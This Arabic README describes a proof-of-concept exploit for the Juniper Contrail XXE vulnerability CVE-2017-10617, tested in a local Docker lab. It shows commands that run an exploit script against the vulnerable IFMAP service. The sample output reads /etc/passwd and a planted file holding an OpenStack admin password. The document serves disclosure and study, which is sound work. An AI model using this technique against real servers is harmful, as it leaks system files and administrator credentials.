
استغلال إثبات المفهوم لثغرة Juniper Contrail XXE (CVE-2017-10617) مع بيئة مختبرية قائمة على Docker توضح كشف الملفات المحلية واستخراج بيانات الاعتماد.
هاتان الثغرتان تؤثران على Juniper Contrail الإصدارات 2.2 و3.0 و3.1 و3.2:
يمكن العثور على النشرة الأمنية الخاصة بالبائع في تنبيه Juniper الأمني JSA10819 2017-10.
الخدمة المعرّضة للخطر في منتج Contrail هي برنامج خفي IFMAP، وهو مُجمَّع من irond. لتبسيط الأمور، دعنا نتابع مع irond واستغلال ثغرة XXE.
نحن جميعًا نحب اللعب. لبناء الصورة:
$ cd vulnerable-irond
$ docker build -t vulnerable-irond .
الصورة مبنية على صورة maven alpine، مع استنساخ لمستودع irond.
يتم وضع ملف اختبار يطابق إعداد Contrail على الصورة المعرّضة للخطر في /etc/contrail/openstackrc. يحتوي هذا الملف على كلمة مرور مدير OpenStack، وهو أصل حساس إلى حد ما.
لبدء خدمة IFMAP معرّضة للخطر:
$ docker run -ti --rm -p 8443:8443 vulnerable-irond
خدمة IFMAP متاحة الآن على المنفذ 8443 على الجهاز المحلي.
بمجرد إعداد خدمة IFMAP معرّضة للخطر، قم بما يلي:
$ ./poc-xxe.py -g /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
$ ./poc-xxe.py -g /etc/contrail/openstackrc
export OS_USERNAME=admin
export OS_PASSWORD=6b000a589c700b077ef9729513e5d6fc
...
هذا يكشف فعليًا عن كلمة مرور مدير OpenStack.